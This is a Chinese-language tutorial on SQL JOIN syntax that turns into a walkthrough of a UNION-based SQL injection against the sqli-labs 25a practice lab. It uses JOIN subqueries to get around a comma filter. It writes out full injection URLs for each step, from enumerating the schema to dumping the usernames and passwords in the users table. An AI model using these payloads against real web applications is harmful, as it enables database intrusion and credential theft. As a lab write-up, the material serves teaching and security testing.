#需求:查询users表用户的emails都是多少
1.未使用join前
SELECT u . * , e . *
FROM users u, emails e
WHERE u.id = e.id
比如Security这个数据库有emails和users两张数据表
users这张数据表放有用户名(usernmae)和密码(password)的数据信息
而emails这张数据库则放有邮箱(emails)信息
现在有个需求,想查询users表的用户信息和emails表的邮箱信息都是多少
这时时候你会发现,你需要查询两张表。因为用户信息再users表,而邮箱信息再emails表
再phpmyadmin的面板中到Security的数据库中输入以上的内容
1.select u.*,e.* :
(u.代表的是users这张表的别名,*代表的是所有字段。e.代表的是emailis这张表的别名。*代表所有字段。意思就是查询这两张表的所有字段(列)信息)
2.From users u,emails e :
(从users表和emails表中去找 ,users表对应的别名是"u",emails表对应的别名是"e")
3.where e.id=u.id:
(where代表的是限定条件。限定条件从emails这张表的(id)字段信息和users表的(id)字段信息)
因为如果要一起外联查询的话,必须有这两张表的相同字段信息,再security这个数据库中,那么相同的字段信息就是id。
点击执行。
此时我们就可以看到查询出了user表和emails表所有的字段信息了
2.使用Join进行内联查询
select u.*,e.*
from users u join emails e on u.id=e.id;
输入以上代码进行执行
此时就可以看出达到的效果和未使用join前也就是外联查询的效果是一样的
3.join绕过逗号限制的原理
未时候join:
union select 1,2,3
使用join:
union select * from (select 1)a join (select 2)b join (select 3)c
未使用join进行查询
先输入以上的查询指令,进行执行
使用join进行查询
输入以上内容进行执行
发现回显的结果和未使用join查询是一致的,那么就可以使用join代替,进行绕过
语句:
union select * from (select 1)a join (select 2)b join (select 3)c;
这里的abc代表的是起的别名,中间使用join分隔就行,实际情况下他有几个字段你就写资格字段,然后起个别名就行。
如果有五个字段那么就是
Union select *from (select 1)a join (select 2)b join (select 3)c join (select 4)d jion (select 5)e;
以此类推
4.使用join注入
案例演示sqli-labs-25a
这里我用的是25a的源代码,再里面添加了一个,逗号的过滤,如果你们要实验的话,就把前面的两行注释掉,添加上我加入的那一行就可以了
这里为了节约时间,从代码里面看出她的源码是数字型,我就直接跳过前面的判断是数字型和字符型,直接从获取字段数开始测试了 !!!
1.获取字段数
?id=1 group by 3
url: ?id=1 group by 4
页面报错
url: ?id=1 group by 3
页面正常确定3个字段
2.确定显示的字段
?id=-1 union select * from (select 1)a join (select 2)b join (select 3)c
确定当前回显字段为2,3
3.获取数据库名
?id=-1 union select * from (select 1)a join (select 2)b join (select (database()))c
当前数据库为security
4.获取表名
?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(table_name)from information_Schema.tables where table_schema=database())c
emails,
referers,
uagents,
users
以上为数据表
5.获取所有字段
?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(column_name)from information_Schema.columns where table_schema=database() and table_name='users')c
id,
username,
password
所有字段
6.拖库
获取username和password
获取 用户名
?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(username)from security.users)c
获取密码
?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(password)from security.users)c
这里注意一下,平时我们获取两个字段一般都是
select group_concat(username,'~~',password)from security.users
但是看红色的部分,他们是使用,逗号相隔的。但是再代码中我们已经把逗号进行过滤了
所以到他数据库的语句就变成了
select group_concat(username'~~'password)from security.users
这样命令就会出错,所以我们只能一个字段一个字段的获取。